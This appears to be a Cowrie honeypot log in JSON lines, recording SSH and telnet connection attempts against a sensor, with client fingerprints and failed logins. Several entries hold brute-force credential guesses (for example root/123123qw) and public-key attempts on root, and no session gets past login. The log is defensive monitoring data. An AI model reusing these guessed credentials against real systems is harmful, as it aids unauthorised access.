{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:22.915819Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:22.922963Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51278,"dst_ip":"10.17.0.5","dst_port":23,"session":"44473abe2e60","protocol":"telnet","message":"New connection: 152.42.224.71:51278 (10.17.0.5:23) [session: 44473abe2e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:25.224915Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51286,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b5dade8fc4","protocol":"telnet","message":"New connection: 152.42.224.71:51286 (10.17.0.5:23) [session: 57b5dade8fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:25.707033Z"}
{"eventid":"cowrie.session.closed","duration":20.249255895614624,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:27.150944Z","src_ip":"152.42.224.71","session":"9c7688783079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43408,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c6f35fd895","protocol":"telnet","message":"New connection: 152.42.224.71:43408 (10.17.0.5:23) [session: e5c6f35fd895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:29.838763Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55748,"dst_ip":"159.203.135.109","dst_port":22,"session":"f50853201f4f","protocol":"ssh","message":"New connection: 31.40.204.166:55748 (159.203.135.109:22) [session: f50853201f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:33.985943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:33.997443Z","src_ip":"31.40.204.166","session":"f50853201f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.12848377227783,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:34.045628Z","src_ip":"152.42.224.71","session":"99f846c7195d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:34.114961Z","src_ip":"31.40.204.166","session":"f50853201f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:34.834280Z","src_ip":"31.40.204.166","session":"f50853201f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:36.082503Z","src_ip":"31.40.204.166","session":"f50853201f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.088478088378906,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:36.435307Z","src_ip":"152.42.224.71","session":"a9bb3ec153ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.99795699119568,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:37.038457Z","src_ip":"152.42.224.71","session":"e1bce2354e52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":56034,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed71e8e3c0f","protocol":"ssh","message":"New connection: 38.93.206.2:56034 (159.203.135.109:22) [session: 4ed71e8e3c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:38.389641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:38.395399Z","src_ip":"38.93.206.2","session":"4ed71e8e3c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:38.446302Z","src_ip":"38.93.206.2","session":"4ed71e8e3c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7894561230","message":"login attempt [root/7894561230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:38.597467Z","src_ip":"38.93.206.2","session":"4ed71e8e3c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":42444,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fdde73845e2","protocol":"ssh","message":"New connection: 62.210.246.122:42444 (10.17.0.5:22) [session: 0fdde73845e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.141119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.146376Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.231311Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:d4:cf:39:6c:93:57:20:85:bf:94:f5:fb:70:83:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMwtz4wZ3YNXDkmSN9idbMOyycg5bllk5eWUN9/XNIMcKfs23autBuuM/3WzJJdO3+8nLEv+byiOLSEEXcauyDr9Z33GBh5BTOQMw9nOR9g/LV/k2ZNfytfNFRl2gb38aThediQ+ehHtODyM+jfzT9yN0VsqUwStytrijK3pwd0aixnFXClgZLadXydpIskEUxierOS/lVTHjJY/WG6XO4dk67l13uz+x7VXf5fTxQsqPO+wuVKkKrNYKsFyeEiogR6LWY4obbiqts6/58+V1vekZAsUn25v79YmFv1P24WuMRfMBxf8MGc+TxCURImfcKSjHAZPqEZ1cUFnIwT9Yd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:d4:cf:39:6c:93:57:20:85:bf:94:f5:fb:70:83:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.616903Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:d4:cf:39:6c:93:57:20:85:bf:94:f5:fb:70:83:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMwtz4wZ3YNXDkmSN9idbMOyycg5bllk5eWUN9/XNIMcKfs23autBuuM/3WzJJdO3+8nLEv+byiOLSEEXcauyDr9Z33GBh5BTOQMw9nOR9g/LV/k2ZNfytfNFRl2gb38aThediQ+ehHtODyM+jfzT9yN0VsqUwStytrijK3pwd0aixnFXClgZLadXydpIskEUxierOS/lVTHjJY/WG6XO4dk67l13uz+x7VXf5fTxQsqPO+wuVKkKrNYKsFyeEiogR6LWY4obbiqts6/58+V1vekZAsUn25v79YmFv1P24WuMRfMBxf8MGc+TxCURImfcKSjHAZPqEZ1cUFnIwT9Yd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.621007Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.661665Z","src_ip":"38.93.206.2","session":"4ed71e8e3c0f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:82:34:c1:68:b2:49:cc:71:84:30:13:16:20:c9:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHD40odv3z0yBWc0z7tWLNPta7T9vSp3rg84ULa5eg4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 65:82:34:c1:68:b2:49:cc:71:84:30:13:16:20:c9:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.703384Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:82:34:c1:68:b2:49:cc:71:84:30:13:16:20:c9:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHD40odv3z0yBWc0z7tWLNPta7T9vSp3rg84ULa5eg4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.708088Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:89:4a:ed:51:ca:0c:11:bb:70:47:50:9a:3c:b1:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFnImC2J5u9XjrtYK20HLyUNUC7EB4R3oykBaOhWJidvT0fl7x8xmMBrx9EvJ8iRG+KtXmFn0VWERpatmprahAgBdpglBmULsxlteFCOfGLG2FwDaNDvBZ3E2QmMe2GgZLS+uzfUh+eMeK2M5U/lficiBzMjy/NlXDoLGx4eUexGVEdEwYAIF+E5noJEYmUrRC4FigN7CvT8Qa/ZPgVc7nDG0xfVWHy/UhQ9ZKgitRRdpCbun31QE4mT4rFKiDySS0VQsRQgX8fwi9jdMzZylvvPbdmODI7Qwn0HUXM1V95dJdKCz0Lljsgi6IIlYJFhir58upaRicsaf9p/AcJCHz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:89:4a:ed:51:ca:0c:11:bb:70:47:50:9a:3c:b1:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.794743Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:89:4a:ed:51:ca:0c:11:bb:70:47:50:9a:3c:b1:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFnImC2J5u9XjrtYK20HLyUNUC7EB4R3oykBaOhWJidvT0fl7x8xmMBrx9EvJ8iRG+KtXmFn0VWERpatmprahAgBdpglBmULsxlteFCOfGLG2FwDaNDvBZ3E2QmMe2GgZLS+uzfUh+eMeK2M5U/lficiBzMjy/NlXDoLGx4eUexGVEdEwYAIF+E5noJEYmUrRC4FigN7CvT8Qa/ZPgVc7nDG0xfVWHy/UhQ9ZKgitRRdpCbun31QE4mT4rFKiDySS0VQsRQgX8fwi9jdMzZylvvPbdmODI7Qwn0HUXM1V95dJdKCz0Lljsgi6IIlYJFhir58upaRicsaf9p/AcJCHz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.799335Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.854122161865234,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.807236Z","src_ip":"152.42.224.71","session":"65c692f75d13","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:46:10:98:b0:ab:bf:02:df:b4:e7:80:15:c9:15:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC27vpMAXh+4KUG6kQ6/QpuNu3rXc8VFFTROBmCUQcFVXFs7IUaKSreW+usLkVDZXaeW/tm+pbK99us2kAohI0o1Gw+bmhRV5iW4lCU4Sdk+LDfcE+DvEvMCN8x+ecWFUf/3dRSXK2RnmiiD43g9EWR2S2xTRvNm1SW/AvIWMtuXkb8LeR/QtpApSVBaE2zpAU7Cxhcvqcb8e/wgmUpgw2J5SYNqj3zhvCEIEr50nGULDh5yM0AengXv4+X76B+Jo3VHSuAyBhvML4by6wiL8PGh6UM/88fbV9iJ1PBxSbrMjNXsoW/4GEHHTN2yPLQZbtpnzhQRZfsip2PLIeulLoj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:46:10:98:b0:ab:bf:02:df:b4:e7:80:15:c9:15:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.884191Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:46:10:98:b0:ab:bf:02:df:b4:e7:80:15:c9:15:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC27vpMAXh+4KUG6kQ6/QpuNu3rXc8VFFTROBmCUQcFVXFs7IUaKSreW+usLkVDZXaeW/tm+pbK99us2kAohI0o1Gw+bmhRV5iW4lCU4Sdk+LDfcE+DvEvMCN8x+ecWFUf/3dRSXK2RnmiiD43g9EWR2S2xTRvNm1SW/AvIWMtuXkb8LeR/QtpApSVBaE2zpAU7Cxhcvqcb8e/wgmUpgw2J5SYNqj3zhvCEIEr50nGULDh5yM0AengXv4+X76B+Jo3VHSuAyBhvML4by6wiL8PGh6UM/88fbV9iJ1PBxSbrMjNXsoW/4GEHHTN2yPLQZbtpnzhQRZfsip2PLIeulLoj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.889795Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:ad:a1:46:b8:2c:90:40:b7:1b:d2:cd:b7:ee:e4:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+D3GBvBSzgOyJvvWCEE6Y0U96jIEXjeAhCbHomX6T54mddmeWhDPTZYAMW6jwF2jvOFyQ/udLPGkkgVKTxYsMo/0W1fY2niIOW4ZeeMF0KtRkkv+xiITqdi3X6QOhzNnEh6N/2da6EW8dOaggNfrbxDwInwSb1a7p910k8RAjCjcSKapEb++y2GBk9jqtg8PBe+sv2TcjH8pH7PUwa9HmOdi7ypYJK4ghmvG8bAg9b+921GEesGGLQbqcxmRB3Rq5leI4eQ1x17tJU+4yMl8e7k3dpuEDHSq5oZuoV/g3Xleea66mU3uzOyoA6+0zoCRv7UbCOdkzAamXEMZrqS5X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:ad:a1:46:b8:2c:90:40:b7:1b:d2:cd:b7:ee:e4:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.973424Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:ad:a1:46:b8:2c:90:40:b7:1b:d2:cd:b7:ee:e4:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+D3GBvBSzgOyJvvWCEE6Y0U96jIEXjeAhCbHomX6T54mddmeWhDPTZYAMW6jwF2jvOFyQ/udLPGkkgVKTxYsMo/0W1fY2niIOW4ZeeMF0KtRkkv+xiITqdi3X6QOhzNnEh6N/2da6EW8dOaggNfrbxDwInwSb1a7p910k8RAjCjcSKapEb++y2GBk9jqtg8PBe+sv2TcjH8pH7PUwa9HmOdi7ypYJK4ghmvG8bAg9b+921GEesGGLQbqcxmRB3Rq5leI4eQ1x17tJU+4yMl8e7k3dpuEDHSq5oZuoV/g3Xleea66mU3uzOyoA6+0zoCRv7UbCOdkzAamXEMZrqS5X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:39.977351Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:40.060753Z","src_ip":"62.210.246.122","session":"0fdde73845e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55904,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac22eba24de","protocol":"telnet","message":"New connection: 152.42.224.71:55904 (10.17.0.5:23) [session: cac22eba24de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:40.298288Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37384,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b101835c6a","protocol":"ssh","message":"New connection: 62.133.63.178:37384 (10.17.0.5:22) [session: e4b101835c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:40.572469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:40.580734Z","src_ip":"62.133.63.178","session":"e4b101835c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:40.706712Z","src_ip":"62.133.63.178","session":"e4b101835c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qw","message":"login attempt [root/123123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:41.083823Z","src_ip":"62.133.63.178","session":"e4b101835c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.918699264526367,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:42.143273Z","src_ip":"152.42.224.71","session":"44473abe2e60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:42.211763Z","src_ip":"62.133.63.178","session":"e4b101835c6a","protocol":"ssh"}
